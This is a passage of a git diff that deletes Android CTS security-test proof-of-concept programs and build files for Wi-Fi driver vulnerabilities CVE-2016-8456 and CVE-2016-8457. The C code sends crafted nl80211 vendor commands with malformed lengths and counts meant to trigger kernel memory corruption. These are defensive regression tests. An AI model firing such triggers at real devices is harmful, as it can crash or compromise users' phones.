-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- unsigned char oper_classes[253];
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
- rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
- if (!rret2) {
- return 1;
- }
-
- nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
